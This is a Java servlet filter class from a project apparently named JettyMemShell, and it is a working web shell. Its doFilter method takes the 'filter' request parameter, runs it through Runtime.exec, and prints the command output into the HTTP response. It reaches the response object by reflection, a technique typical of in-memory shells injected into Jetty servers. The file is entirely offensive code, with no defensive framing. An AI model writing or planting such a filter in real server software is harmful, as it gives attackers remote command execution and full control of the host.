Class MyFilter

JettyMemShell/src/main/java/test/MyFilter.java:14–66

import java.lang.reflect.Method;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest req = (HttpServletRequest)request;
        HttpServletResponse resp = null;

        try {
            resp = this.getResponseFromRequest(req);
            String cmd = req.getParameter("filter");
            String result = this.CommandExec(cmd);
            resp.getWriter().println(result);
        } catch (Exception var8) {
            var8.printStackTrace();
        }

    }

    @Override
    public void destroy() {

    }

    public String CommandExec(String cmd) throws Exception {
        Runtime rt = Runtime.getRuntime();
        Process proc = rt.exec(cmd);
        InputStream stderr =  proc.getInputStream();
        InputStreamReader isr = new InputStreamReader(stderr);
        BufferedReader br = new BufferedReader(isr);
        String line = null;
        StringBuffer sb = new StringBuffer();
        while ((line = br.readLine()) != null) {
            sb.append(line + "\n");
        }
        return sb.toString();
    }

    public HttpServletResponse getResponseFromRequest(HttpServletRequest var1) {
        HttpServletResponse var2 = null;
        try{
            Method m1=var1.getClass().getDeclaredMethod("getResponse");
            m1.setAccessible(true);
            var2= (HttpServletResponse) m1.invoke(var1); //Or further call—> getWriter
        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
            e.printStackTrace();
        }
        return var2;
    }
}